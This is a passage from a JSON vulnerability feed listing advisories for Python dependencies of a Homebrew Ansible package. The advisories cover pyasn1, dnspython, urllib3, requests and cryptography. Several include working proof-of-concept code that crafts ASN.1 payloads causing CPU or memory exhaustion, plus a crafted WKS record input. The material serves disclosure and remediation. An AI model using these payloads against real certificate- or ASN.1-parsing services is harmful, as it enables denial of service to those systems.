deny service while the attack continues. No confidentiality or integrity impact is demonstrated. This library-level score does not claim that every application is network-exposed or fully unavailable; deployment-specific input limits and architecture may change the score. See [FIRST's library-scoring guidance](https://www.first.org/cvss/v3-1/user-guide).\n\n## Reproducer\n\nThe definite-length example below is valid BER. It is deliberately not a conforming CER or DER encoding. The second constructor uses conforming CER fragment sizing and framing. CPU times are machine-dependent; run the larger cases only in a local test environment.\n\n```python\nimport time\n\nfrom pyasn1.codec.ber import decoder as ber_decoder\nfrom pyasn1.codec.cer import decoder as cer_decoder\nfrom pyasn1.codec.der import decoder as der_decoder\nfrom pyasn1.error import PyAsn1Error\nfrom pyasn1.type import univ\n\n\ndef encode_length(size):\n    octets = size.to_bytes((size.bit_length() + 7) // 8, \"big\")\n    return bytes((0x80 | len(octets),)) + octets\n\n\ndef definite_fragments(count):\n    body = b\"\\x03\\x02\\x00\\xa5\" * count  # one data octet per BIT STRING fragment\n    return b\"\\x23\" + encode_length(len(body)) + body\n\n\ndef cer_fragments(count):\n    # Each primitive fragment has 1000 contents octets: one unused-bits\n    # octet (zero) followed by 999 data octets.\n    fragment = b\"\\x03\" + encode_length(1000) + b\"\\x00\" + b\"\\xa5\" * 999\n    return b\"\\x23\\x80\" + fragment * count + b\"\\x00\\x00\"\n\n\ndef measure(label, decode, payload, **options):\n    start = time.process_time()\n    value, remainder = decode(payload, **options)\n    print(label, len(payload), f\"{time.process_time() - start:.3f}s CPU\")\n    assert not remainder and len(value) > 0\n\n\nfor count in (50_000, 100_000, 200_000):\n    measure(f\"BER {count} fragments\", ber_decoder.decode,\n            definite_fragments(count))\n\nfor count in (1_000, 2_000, 4_000):\n    measure(f\"CER {count} fragments\", cer_decoder.decode,\n            cer_fragments(count))\n\nsample = definite_fragments(1_000)\nmeasure(\"DER with BIT STRING schema\", der_decoder.decode, sample,\n        asn1Spec=univ.BitString())\ntry:\n    der_decoder.decode(sample)\nexcept PyAsn1Error:\n    print(\"DER without schema rejects the constructed value\")\nelse:\n    raise AssertionError(\"DER unexpectedly accepted schema-less input\")\n```\n\n## Verification\n\nLocal measurements of the official v0.6.4 tag on CPython 3.14.8 used `time.process_time()`. A local 0.6.5 candidate containing the fix was timed on the same machine. Times are illustrative, not a guaranteed cost on other systems.\n\n| Input | Size | v0.6.4 CPU | 0.6.5 candidate CPU |\n| --- | ---: | ---: | ---: |\n| BER definite, 50,000 fragments | 0.20 MB | 0.530 s | 0.084 s |\n| BER definite, 100,000 fragments | 0.40 MB | 1.915 s | 0.170 s |\n| BER definite, 200,000 fragments | 0.80 MB | 7.392 s | 0.344 s |\n| Conforming CER, 1,000 fragments | 1.004 MB | 0.163 s | 0.0035 s |\n| Conforming CER, 2,000 fragments | 2.008 MB | 0.657 s | 0.0070 s |\n| Conforming CER, 4,000 fragments | 4.016 MB | 2.582 s | 0.0144 s |\n\nThe definite BER input with 100,000 fragments also decoded through DER with `asn1Spec=univ.BitString()` in 1.949 s on v0.6.4, versus 0.172 s with the 0.6.5 candidate. Schema-less DER rejected the same input. Independent reports reproduced the old behavior on v0.6.4: one measured 21.1 s for a 1.28 MB definite-length value; another measured 7.25 s for a 0.8 MB value versus 2.8 ms for a primitive BIT STRING carrying the same data volume. These measurements were taken on different systems and should not be compared as a single benchmark series.\n\n## Resolution\n\nUpgrade to pyasn1 0.6.5. The decoder assembles fragment bits in a `bytearray`, preserves decoded bit values including intermediate-fragment padding, and converts the complete payload to a BIT STRING once. This removes the repeated shift of the growing integer in both constructed decoding loops.\n\nFor applications that cannot upgrade immediately, enforce an application-appropriate limit on untrusted ASN.1 input size **before** passing it to pyasn1. Such a limit bounds exposure but does not change the quadratic behavior of 0.6.4. Where a protocol forbids constructed BIT STRING, rejecting that encoding before decoding also prevents this path.","severity":[{"type":"CVSS_V3","score":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H"}],"references":[{"type":"WEB","url":"https://github.com/pyasn1/pyasn1/security/advisories/GHSA-2qm8-x737-gmw5"},{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-119196"},{"type":"WEB","url":"https://github.com/pyasn1/pyasn1/pull/132"},{"type":"WEB","url":"https://github.com/pyasn1/pyasn1/commit/73ba7b043cc7e92cb37f16f2c955bff93b0e6f6c"},{"type":"PACKAGE","url":"https://github.com/pyasn1/pyasn1"},{"type":"WEB","url":"https://github.com/pyasn1/pyasn1/releases/tag/v0.6.5"}]},{"schema_version":"1.7.3","id":"BREW-ansible@9-CVE-2026-119197","published":"2026-10-31T08:33:34Z","modified":"2026-10-31T08:33:34Z","upstream":["GHSA-mm57-4v3p-rchx","CVE-2026-119197"],"affected":[{"package":{"ecosystem":"Homebrew","name":"ansible@9","purl":"pkg:brew/ansible%409"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"9.6.0"}]}],"ecosystem_specific":{"fix":null,"range_state":"affected","upstream_fixed_in":"0.6.5","resource":"pyasn1","resource_purl":"pkg:pypi/pyasn1@0.6.1"}}],"database_specific":{"source":"matched","strategy":"registry","confidence":"high","upstream_evidence":[{"strategy":"registry","ecosystem":"PyPI","name":"pyasn1","subject_version":"0.6.1","key":"pkg:pypi/pyasn1@0.6.1","resource":"pyasn1"}]},"summary":"pyasn1 has quadratic-complexity denial of service in binary REAL decoding","details":"## Summary\n\nIn pyasn1 0.6.4 and earlier, decoding a binary-encoded ASN.1 REAL with a large mantissa can consume CPU time quadratic in the mantissa length. The BER, CER, and DER decoders all use the affected `RealPayloadDecoder`. An application is exposed when it passes attacker-controlled ASN.1 containing a REAL value to one of these decoders, either without an `asn1Spec` or with a schema that includes REAL. The work occurs inside `decode()`; the application does not need to convert, print, or otherwise use the resulting REAL object.\n\nThis is distinct from [CVE-2026-59886](https://github.com/advisories/GHSA-hm4w-wwcw-mr6r), which concerns converting an already-decoded REAL to a Python float. That issue was fixed in 0.6.4 and its advisory states that decoding alone does not trigger it.\n\n## Root cause and affected components\n\nFor binary REAL values, [`RealPayloadDecoder.valueDecoder` in v0.6.4](https://github.com/pyasn1/pyasn1/blob/v0.6.4/pyasn1/codec/ber/decoder.py#L535-L603) builds the mantissa one octet at a time:\n\n```python\np = 0\nwhile chunk:\n    p <<= 8\n    p |= chunk[0]\n    chunk = chunk[1:]\n```\n\nEach shift processes an integer that grows with the mantissa; with byte strings, each slice also copies the remaining suffix. Repeating both operations for every octet makes decoding quadratic in mantissa size. The decoder's [eight-octet length-field limit](https://github.com/pyasn1/pyasn1/blob/v0.6.4/pyasn1/codec/ber/decoder.py#L1704-L1717) does not impose a practical mantissa-size limit for the inputs demonstrated below. [CER](https://github.com/pyasn1/pyasn1/blob/v0.6.4/pyasn1/codec/cer/decoder.py#L51-L62) and [DER](https://github.com/pyasn1/pyasn1/blob/v0.6.4/pyasn1/codec/der/decoder.py#L23-L31) reuse the BER REAL payload decoder, so all three paths reach this loop.\n\nThe vulnerable loop is present in every available repository release tag inspected, from v0.2.1 through v0.6.4. Runtime measurements below were made on v0.6.4; older releases were checked for the loop, not benchmarked individually.\n\n## Impact\n\nA comparatively small REAL value can hold a decoder worker on one CPU core for seconds or longer. The attacker must be able to supply data that the application sends to an affected decoder, and application-level input limits may reduce exposure. The demonstrated effect is CPU exhaustion during decoding; this advisory does not assert a network endpoint, unauthenticated access, or an affected downstream application by itself.\n\n## Reproduction and evidence\n\nThe following example uses pyasn1 0.6.4. The `0x09` tag identifies REAL; `0x80 0x00` selects a positive, base-2 binary value with a one-octet zero exponent, followed by a large mantissa. It exercises `decode()` only.\n\n```python\nimport time\n\nfrom pyasn1.codec.ber import decoder as ber\nfrom pyasn1.codec.cer import decoder as cer\nfrom pyasn1.codec.der import decoder as der\n\n\ndef real_value(mantissa_octets):\n    content = b\"\\x80\\x00\" + b\"\\xff\" * mantissa_octets\n    length = len(content).to_bytes(3, \"big\")\n    return b\"\\x09\\x83\" + length + content\n\n\nfor codec in (ber, cer, der):\n    for size in (50_000, 100_000, 200_000):\n        substrate = real_value(size)\n        started = time.process_time()\n        value, rest = codec.decode(substrate)\n        print(codec.__name__, size, time.process_time() - started)\n        assert not rest\n        assert tuple(value)[1:] == (2, 0)\n```\n\nThe original report measured the following BER CPU times on repository commit `aa05757`. That commit is later than the official v0.6.4 tag; the vulnerable loop is identical in the tagged release.\n\n| Mantissa size | Reporter's BER CPU time |\n| ---: | ---: |\n| 50,000 octets | 0.328 s |\n| 100,000 octets | 1.299 s |\n| 200,000 octets | 6.043 s |\n| 400,000 octets | 24.095 s |\n\nThe same report measured 5.645 s for a 200,000-octet mantissa through DER.\n\nA separate local reproduction on the official v0.6.4 tag (`d43496f`, CPython 3.14.8, macOS arm64) measured BER at 0.209 s, 0.884 s, and 3.451 s for 50,000, 100,000, and 200,000 mantissa octets respectively. CER and DER each took about 0.89 s at 100,000 octets. These are machine-specific measurements; the repeated near-fourfold cost for doubled input is the relevant result. Neither reproduction calls `float()`, `str()`, or `prettyPrint()`.\n\n## Fix\n\npyasn1 0.6.5 replaces the per-octet shift and slice loop with one `int.from_bytes(bytes(chunk), \"big\")` conversion. Sign, scale, exponent, and the decoded REAL tuple are preserved. The fix is in the shared BER payload decoder and therefore covers BER, CER, and DER. A local check of the 0.6.5 candidate decoded a 200,000-octet mantissa correctly through all three codecs; the check does not establish behavior for every application using REAL.\n\n## Workarounds\n\nUpgrade to pyasn1 0.6.5. Until then, reject or strictly limit attacker-controlled ASN.1 input that may contain REAL values before passing it to pyasn1. The appropriate size limit depends on the application's available CPU time and request volume.","severity":[{"type":"CVSS_V3","score":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H"}],"references":[{"type":"WEB","url":"https://github.com/pyasn1/pyasn1/security/advisories/GHSA-mm57-4v3p-rchx"},{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-119197"},{"type":"WEB","url":"https://github.com/pyasn1/pyasn1/pull/132"},{"type":"WEB","url":"https://github.com/pyasn1/pyasn1/commit/ce3ec3390784780a530047e0e77be5ff457636a4"},{"type":"PACKAGE","url":"https://github.com/pyasn1/pyasn1"},{"type":"WEB","url":"https://github.com/pyasn1/pyasn1/releases/tag/v0.6.5"}]},{"schema_version":"1.7.3","id":"BREW-ansible@9-CVE-2026-128089","published":"2026-11-14T08:41:18Z","modified":"2026-11-14T08:41:18Z","upstream":["GHSA-vvf4-9x63-8xvv","CVE-2026-128089"],"affected":[{"package":{"ecosystem":"Homebrew","name":"ansible@9","purl":"pkg:brew/ansible%409"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"9.6.0"}]}],"ecosystem_specific":{"fix":null,"range_state":"affected","upstream_fixed_in":"2.9.2","resource":"dnspython","resource_purl":"pkg:pypi/dnspython@2.8.0"}}],"database_specific":{"source":"matched","strategy":"registry","confidence":"high","upstream_evidence":[{"strategy":"registry","ecosystem":"PyPI","name":"dnspython","subject_version":"2.8.0","key":"pkg:pypi/dnspython@2.8.0","resource":"dnspython"}]},"summary":"dnspython has excessive memory and CPU use","details":"### Summary\n\nA maliciously crafted zone file could use a WKS record to consume excessive memory and CPU, possibly causing the process to exit due to memory exhaustion.\n\n### Details\n\nThe `from_text()` parser does not check that a WKS record service number is between 0 and 65535 inclusive.  It then uses this number to resize the bitmap to accommodate a bit with that offset.  This can cause extremely large memory allocations, and also extends the array very inefficiently, wasting CPU.\n\n### Proof of concept\n\nThis demonstrates the failure to limit the service number, though with a value that does not cause excessive memory or CPU consumption.\n\n```\nrd = dns.rdata.from_text(\"IN\", \"WKS\", \"10.0.0.1 udp 65536\")\n```\n\n### Impact\n\nIf dnspython is used to read zonefile format where the attacker can control the type and rdata text, the program may consume excessive memory or CPU, denying service.","severity":[{"type":"CVSS_V3","score":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H"}],"references":[{"type":"WEB","url":"https://github.com/rthalley/dnspython/security/advisories/GHSA-vvf4-9x63-8xvv"},{"type":"WEB","url":"https://github.com/rthalley/dnspython/commit/388db14ee9923288f6e73f86e482c77706e59d73"},{"type":"WEB","url":"https://github.com/rthalley/dnspython/commit/a62e1be066da0ed71b5b59f37435bb17cfa0070f"},{"type":"PACKAGE","url":"https://github.com/rthalley/dnspython"},{"type":"WEB","url":"https://github.com/rthalley/dnspython/releases/tag/v2.9.2"}]},{"schema_version":"1.7.3","id":"BREW-ansible@9-CVE-2026-21441","published":"2026-08-13T16:35:23Z","modified":"2026-10-07T22:51:31Z","upstream":["GHSA-38jv-5279-wg99","CVE-2026-21441","PYSEC-2026-1996"],"affected":[{"package":{"ecosystem":"Homebrew","name":"ansible@9","purl":"pkg:brew/ansible%409"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"9.6.0"}]}],"ecosystem_specific":{"fix":null,"range_state":"affected","upstream_fixed_in":"2.6.3","resource":"urllib3","resource_purl":"pkg:pypi/urllib3@2.3.0"}}],"database_specific":{"source":"matched","strategy":"registry","confidence":"high","upstream_evidence":[{"strategy":"registry","ecosystem":"PyPI","name":"urllib3","subject_version":"2.3.0","key":"pkg:pypi/urllib3@2.3.0","resource":"urllib3"}]},"summary":"Decompression-bomb safeguards bypassed when following HTTP redirects (streaming API)","details":"### Impact\n\nurllib3's [streaming API](https://urllib3.readthedocs.io/en/2.6.2/advanced-usage.html#streaming-and-i-o) is designed for the efficient handling of large HTTP responses by reading the content in chunks, rather than loading the entire response body into memory at once.\n\nurllib3 can perform decoding or decompression based on the HTTP `Content-Encoding` header (e.g., `gzip`, `deflate`, `br`, or `zstd`). When using the streaming API, the library decompresses only the necessary bytes, enabling partial content consumption.\n\nHowever, for HTTP redirect responses, the library would read the entire response body to drain the connection and decompress the content unnecessarily. This decompression occurred even before any read methods were called, and configured read limits did not restrict the amount of decompressed data. As a result, there was no safeguard against decompression bombs. A malicious server could exploit this to trigger excessive resource consumption on the client (high CPU usage and large memory allocations for decompressed data; CWE-409).\n\n### Affected usages\n\nApplications and libraries using urllib3 version 2.6.2 and earlier to stream content from untrusted sources by setting `preload_content=False` when they do not disable redirects.\n\n\n### Remediation\n\nUpgrade to at least urllib3 v2.6.3 in which the library does not decode content of redirect responses when `preload_content=False`.\n\nIf upgrading is not immediately possible, disable [redirects](https://urllib3.readthedocs.io/en/2.6.2/user-guide.html#retrying-requests) by setting `redirect=False` for requests to untrusted source.","severity":[{"type":"CVSS_V3","score":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H"},{"type":"CVSS_V4","score":"CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:H"}],"references":[{"type":"WEB","url":"https://github.com/urllib3/urllib3/security/advisories/GHSA-38jv-5279-wg99"},{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-21441"},{"type":"WEB","url":"https://github.com/urllib3/urllib3/commit/8864ac407bba8607950025e0979c4c69bc7abc7b"},{"type":"PACKAGE","url":"https://github.com/urllib3/urllib3"},{"type":"WEB","url":"https://lists.debian.org/debian-lts-announce/2026/01/msg00017.html"}]},{"schema_version":"1.7.3","id":"BREW-ansible@9-CVE-2026-23490","published":"2026-08-13T16:35:23Z","modified":"2026-10-07T22:51:30Z","upstream":["GHSA-63vm-454h-vhhq","CVE-2026-23490","PYSEC-2026-1810"],"affected":[{"package":{"ecosystem":"Homebrew","name":"ansible@9","purl":"pkg:brew/ansible%409"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"9.6.0_2"}]}],"ecosystem_specific":{"fix":null,"range_state":"affected","upstream_fixed_in":"0.6.2","resource":"pyasn1","resource_purl":"pkg:pypi/pyasn1@0.6.1"}}],"database_specific":{"source":"matched","strategy":"registry","confidence":"high","upstream_evidence":[{"strategy":"registry","ecosystem":"PyPI","name":"pyasn1","subject_version":"0.6.1","key":"pkg:pypi/pyasn1@0.6.1","resource":"pyasn1"}]},"summary":"pyasn1 has a DoS vulnerability in decoder","details":"### Summary\n\nAfter reviewing pyasn1 v0.6.1 a Denial-of-Service issue has been found that leads to memory exhaustion from malformed RELATIVE-OID with excessive continuation octets.\n\n### Details\n\nThe integer issue can be found in the decoder as `reloid += ((subId << 7) + nextSubId,)`: https://github.com/pyasn1/pyasn1/blob/main/pyasn1/codec/ber/decoder.py#L496\n\n### PoC\n\nFor the DoS:\n```py\nimport pyasn1.codec.ber.decoder as decoder\nimport pyasn1.type.univ as univ\nimport sys\nimport resource\n\n# Deliberately set memory limit to display PoC\ntry:\n    resource.setrlimit(resource.RLIMIT_AS, (100*1024*1024, 100*1024*1024))\n    print(\"[*] Memory limit set to 100MB\")\nexcept:\n    print(\"[-] Could not set memory limit\")\n\n# Test with different payload sizes to find the DoS threshold\npayload_size_mb = int(sys.argv[1])\n\nprint(f\"[*] Testing with {payload_size_mb}MB payload...\")\n\npayload_size = payload_size_mb * 1024 * 1024\n# Create payload with continuation octets\n# Each 0x81 byte indicates continuation, causing bit shifting in decoder\npayload = b'\\x81' * payload_size + b'\\x00'\nlength = len(payload)\n\n# DER length encoding (supports up to 4GB)\nif length < 128:\n    length_bytes = bytes([length])\nelif length < 256:\n    length_bytes = b'\\x81' + length.to_bytes(1, 'big')\nelif length < 256**2:\n    length_bytes = b'\\x82' + length.to_bytes(2, 'big')\nelif length < 256**3:\n    length_bytes = b'\\x83' + length.to_bytes(3, 'big')\nelse:\n    # 4 bytes can handle up to 4GB\n    length_bytes = b'\\x84' + length.to_bytes(4, 'big')\n\n# Use OID (0x06) for more aggressive parsing\nmalicious_packet = b'\\x06' + length_bytes + payload\n\nprint(f\"[*] Packet size: {len(malicious_packet) / 1024 / 1024:.1f} MB\")\n\ntry:\n    print(\"[*] Decoding (this may take time or exhaust memory)...\")\n    result = decoder.decode(malicious_packet, asn1Spec=univ.ObjectIdentifier())\n\n    print(f'[+] Decoded successfully')\n    print(f'[!] Object size: {sys.getsizeof(result[0])} bytes')\n\n    # Try to convert to string\n    print('[*] Converting to string...')\n    try:\n        str_result = str(result[0])\n        print(f'[+] String succeeded: {len(str_result)} chars')\n        if len(str_result) > 10000:\n            print(f'[!] MEMORY EXPLOSION: {len(str_result)} character string!')\n    except MemoryError:\n        print(f'[-] MemoryError during string conversion!')\n    except Exception as e:\n        print(f'[-] {type(e).__name__} during string conversion')\n\nexcept MemoryError:\n    print('[-] MemoryError: Out of memory!')\nexcept Exception as e:\n    print(f'[-] Error: {type(e).__name__}: {e}')\n\n\nprint(\"\\n[*] Test completed\")\n```\n\n\nScreenshots with the results:\n\n#### DoS\n<img width=\"944\" height=\"207\" alt=\"Screenshot_20251219_160840\" src=\"https://github.com/user-attachments/assets/68b9566b-5ee1-47b0-a269-605b037dfc4f\" />\n\n<img width=\"931\" height=\"231\" alt=\"Screenshot_20251219_152815\" src=\"https://github.com/user-attachments/assets/62eacf4f-eb31-4fba-b7a8-e8151484a9fa\" />\n\n#### Leak analysis\n\nA potential heap leak was investigated but came back clean:\n```\n[*] Creating 1000KB payload...\n[*] Decoding with pyasn1...\n[*] Materializing to string...\n[+] Decoded 2157784 characters\n[+] Binary representation: 896001 bytes\n[+] Dumped to heap_dump.bin\n\n[*] First 64 bytes (hex):\n  01020408102040810204081020408102040810204081020408102040810204081020408102040810204081020408102040810204081020408102040810204081\n\n[*] First 64 bytes (ASCII/hex dump):\n  0000: 01 02 04 08 10 20 40 81 02 04 08 10 20 40 81 02  ..... @..... @..\n  0010: 04 08 10 20 40 81 02 04 08 10 20 40 81 02 04 08  ... @..... @....\n  0020: 10 20 40 81 02 04 08 10 20 40 81 02 04 08 10 20  . @..... @..... \n  0030: 40 81 02 04 08 10 20 40 81 02 04 08 10 20 40 81  @..... @..... @.\n\n[*] Digit distribution analysis:\n  '0':  10.1%\n  '1':   9.9%\n  '2':  10.0%\n  '3':   9.9%\n  '4':   9.9%\n  '5':  10.0%\n  '6':  10.0%\n  '7':  10.0%\n  '8':   9.9%\n  '9':  10.1%\n```\n\n### Scenario\n\n1. An attacker creates a malicious X.509 certificate.\n2. The application validates certificates.\n3. The application accepts the malicious certificate and tries decoding resulting in the issues mentioned above.\n\n### Impact\n\nThis issue can affect resource consumption and hang systems or stop services.\nThis may affect:\n- LDAP servers\n- TLS/SSL endpoints\n- OCSP responders\n- etc.\n\n### Recommendation\n\nAdd a limit to the allowed bytes in the decoder.","severity":[{"type":"CVSS_V3","score":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H"}],"references":[{"type":"WEB","url":"https://github.com/pyasn1/pyasn1/security/advisories/GHSA-63vm-454h-vhhq"},{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-23490"},{"type":"WEB","url":"https://github.com/pyasn1/pyasn1/commit/be353d755f42ea36539b4f5053c652ddf56979a6"},{"type":"WEB","url":"https://github.com/pyasn1/pyasn1/commit/3908f144229eed4df24bd569d16e5991ace44970"},{"type":"WEB","url":"https://access.redhat.com/errata/RHSA-2026:4148"},{"type":"WEB","url":"https://access.redhat.com/errata/RHSA-2026:4147"},{"type":"WEB","url":"https://access.redhat.com/errata/RHSA-2026:4146"},{"type":"WEB","url":"https://access.redhat.com/errata/RHSA-2026:4145"},{"type":"WEB","url":"https://access.redhat.com/errata/RHSA-2026:4144"},{"type":"WEB","url":"https://access.redhat.com/errata/RHSA-2026:4143"},{"type":"WEB","url":"https://access.redhat.com/errata/RHSA-2026:4142"},{"type":"WEB","url":"https://access.redhat.com/errata/RHSA-2026:4141"},{"type":"WEB","url":"https://access.redhat.com/errata/RHSA-2026:4140"},{"type":"WEB","url":"https://access.redhat.com/errata/RHSA-2026:4139"},{"type":"WEB","url":"https://access.redhat.com/errata/RHSA-2026:4138"},{"type":"WEB","url":"https://access.redhat.com/errata/RHSA-2026:39894"},{"type":"WEB","url":"https://access.redhat.com/errata/RHSA-2026:3959"},{"type":"WEB","url":"https://access.redhat.com/errata/RHSA-2026:3958"},{"type":"WEB","url":"https://access.redhat.com/errata/RHSA-2026:2302"},{"type":"WEB","url":"https://access.redhat.com/errata/RHSA-2026:41928"},{"type":"WEB","url":"https://access.redhat.com/errata/RHSA-2026:42644"},{"type":"WEB","url":"https://access.redhat.com/errata/RHSA-2026:4943"},{"type":"WEB","url":"https://access.redhat.com/errata/RHSA-2026:54757"},{"type":"WEB","url":"https://access.redhat.com/errata/RHSA-2026:5606"},{"type":"WEB","url":"https://access.redhat.com/security/cve/CVE-2026-23490"},{"type":"WEB","url":"https://bugzilla.redhat.com/show_bug.cgi?id=2430472"},{"type":"ADVISORY","url":"https://github.com/advisories/GHSA-63vm-454h-vhhq"},{"type":"PACKAGE","url":"https://github.com/pyasn1/pyasn1"},{"type":"WEB","url":"https://github.com/pyasn1/pyasn1/blob/0f07d7242a78ab4d129b26256d7474f7168cf536/pyasn1/codec/ber/decoder.py#L496"},{"type":"WEB","url":"https://github.com/pyasn1/pyasn1/releases/tag/v0.6.2"},{"type":"WEB","url":"https://github.com/pypa/advisory-database/tree/main/vulns/pyasn1/PYSEC-2026-1810.yaml"},{"type":"WEB","url":"https://lists.debian.org/debian-lts-announce/2026/02/msg00002.html"},{"type":"WEB","url":"https://pypi.org/project/pyasn1"},{"type":"WEB","url":"https://security.access.redhat.com/data/csaf/v2/vex/2026/cve-2026-23490.json"},{"type":"WEB","url":"https://access.redhat.com/errata/RHSA-2026:2300"},{"type":"WEB","url":"https://access.redhat.com/errata/RHSA-2026:2299"},{"type":"WEB","url":"https://access.redhat.com/errata/RHSA-2026:2221"},{"type":"WEB","url":"https://access.redhat.com/errata/RHSA-2026:19712"},{"type":"WEB","url":"https://access.redhat.com/errata/RHSA-2026:1906"},{"type":"WEB","url":"https://access.redhat.com/errata/RHSA-2026:1905"},{"type":"WEB","url":"https://access.redhat.com/errata/RHSA-2026:1904"},{"type":"WEB","url":"https://access.redhat.com/errata/RHSA-2026:1903"},{"type":"WEB","url":"https://access.redhat.com/errata/RHSA-2026:17611"},{"type":"WEB","url":"https://access.redhat.com/errata/RHSA-2026:17595"},{"type":"WEB","url":"https://access.redhat.com/errata/RHSA-2026:17446"},{"type":"WEB","url":"https://access.redhat.com/errata/RHSA-2026:14020"},{"type":"WEB","url":"https://access.redhat.com/errata/RHSA-2026:13553"},{"type":"WEB","url":"https://access.redhat.com/errata/RHSA-2026:13545"},{"type":"WEB","url":"https://access.redhat.com/errata/RHSA-2026:13512"},{"type":"WEB","url":"https://access.redhat.com/errata/RHSA-2026:13508"},{"type":"WEB","url":"https://access.redhat.com/errata/RHSA-2026:37275"},{"type":"WEB","url":"https://access.redhat.com/errata/RHSA-2026:3359"},{"type":"WEB","url":"https://access.redhat.com/errata/RHSA-2026:3354"},{"type":"WEB","url":"https://access.redhat.com/errata/RHSA-2026:30088"},{"type":"WEB","url":"https://access.redhat.com/errata/RHSA-2026:28042"},{"type":"WEB","url":"https://access.redhat.com/errata/RHSA-2026:2758"},{"type":"WEB","url":"https://access.redhat.com/errata/RHSA-2026:2712"},{"type":"WEB","url":"https://access.redhat.com/errata/RHSA-2026:24977"},{"type":"WEB","url":"https://access.redhat.com/errata/RHSA-2026:24866"},{"type":"WEB","url":"https://access.redhat.com/errata/RHSA-2026:2486"},{"type":"WEB","url":"https://access.redhat.com/errata/RHSA-2026:2483"},{"type":"WEB","url":"https://access.redhat.com/errata/RHSA-2026:2460"},{"type":"WEB","url":"https://access.redhat.com/errata/RHSA-2026:2453"},{"type":"WEB","url":"https://access.redhat.com/errata/RHSA-2026:24483"},{"type":"WEB","url":"https://access.redhat.com/errata/RHSA-2026:24476"},{"type":"WEB","url":"https://access.redhat.com/errata/RHSA-2026:2309"},{"type":"WEB","url":"https://access.redhat.com/errata/RHSA-2026:2303"}]},{"schema_version":"1.7.3","id":"BREW-ansible@9-CVE-2026-25645","published":"2026-08-13T16:35:23Z","modified":"2026-10-07T22:51:31Z","upstream":["GHSA-gc5v-m9x4-r6x2","CVE-2026-25645","PYSEC-2026-2275"],"affected":[{"package":{"ecosystem":"Homebrew","name":"ansible@9","purl":"pkg:brew/ansible%409"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"9.6.0"}]}],"ecosystem_specific":{"fix":null,"range_state":"affected","upstream_fixed_in":"2.33.0","resource":"requests","resource_purl":"pkg:pypi/requests@2.32.5"}}],"database_specific":{"source":"matched","strategy":"registry","confidence":"high","upstream_evidence":[{"strategy":"registry","ecosystem":"PyPI","name":"requests","subject_version":"2.32.5","key":"pkg:pypi/requests@2.32.5","resource":"requests"}]},"summary":"Requests has Insecure Temp File Reuse in its extract_zipped_paths() utility function","details":"### Impact\nThe `requests.utils.extract_zipped_paths()` utility function uses a predictable filename when extracting files from zip archives into the system temporary directory. If the target file already exists, it is reused without validation. A local attacker with write access to the temp directory could pre-create a malicious file that would be loaded in place of the legitimate one.\n\n### Affected usages\n**Standard usage of the Requests library is not affected by this vulnerability.** Only applications that call `extract_zipped_paths()` directly are impacted.\n\n### Remediation\nUpgrade to at least Requests 2.33.0, where the library now extracts files to a non-deterministic location.\n\nIf developers are unable to upgrade, they can set `TMPDIR` in their environment to a directory with restricted write access.","severity":[{"type":"CVSS_V3","score":"CVSS:3.1/AV:L/AC:H/PR:L/UI:R/S:U/C:N/I:H/A:N"}],"references":[{"type":"WEB","url":"https://github.com/psf/requests/security/advisories/GHSA-gc5v-m9x4-r6x2"},{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-25645"},{"type":"WEB","url":"https://github.com/psf/requests/commit/66d21cb07bd6255b1280291c4fafb71803cdb3b7"},{"type":"PACKAGE","url":"https://github.com/psf/requests"},{"type":"WEB","url":"https://github.com/psf/requests/releases/tag/v2.33.0"}]},{"schema_version":"1.7.3","id":"BREW-ansible@9-CVE-2026-26007","published":"2026-08-13T16:35:23Z","modified":"2026-10-07T22:51:29Z","upstream":["GHSA-r6ph-v2qm-q3c2","CVE-2026-26007","PYSEC-2026-2141"],"affected":[{"package":{"ecosystem":"Homebrew","name":"ansible@9","purl":"pkg:brew/ansible%409"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"9.13.0_2"}]}],"ecosystem_specific":{"fix":null,"range_state":"affected","upstream_fixed_in":"46.0.5","resource":"cryptography","resource_purl":"pkg:pypi/cryptography@46.0.3"}}],"database_specific":{"source":"matched","strategy":"registry","confidence":"high","upstream_evidence":[{"strategy":"registry","ecosystem":"PyPI","name":"cryptography","subject_version":"46.0.3","key":"pkg:pypi/cryptography@46.0.3","resource":"cryptography"}]},"summary":"cryptography Vulnerable to a Subgroup Attack Due to Missing Subgroup Validation for SECT Curves","details":"## Vulnerability Summary\n\nThe `public_key_from_numbers` (or `EllipticCurvePublicNumbers.public_key()`), `EllipticCurvePublicNumbers.public_key()`, `load_der_public_key()` and `load_pem_public_key()` functions do not verify that the point belongs to the expected prime-order subgroup of the curve.\n\nThis missing validation allows an attacker to provide a public key point `P` from a small-order subgroup.  This can lead to security issues in various situations, such as the most commonly used signature verification (ECDSA) and shared key negotiation (ECDH). When the victim computes the shared secret as `S = [victim_private_key]P` via ECDH,  this leaks information about `victim_private_key mod (small_subgroup_order)`. For curves with cofactor > 1, this reveals the least significant bits of the private key.  When these weak public keys are used in ECDSA , it's easy to forge signatures on the small subgroup.\n\nOnly SECT curves are impacted by this.\n\n## Credit\n\nThis vulnerability was discovered by:\n- XlabAI Team of Tencent Xuanwu Lab\n- Atuin Automated Vulnerability Discovery 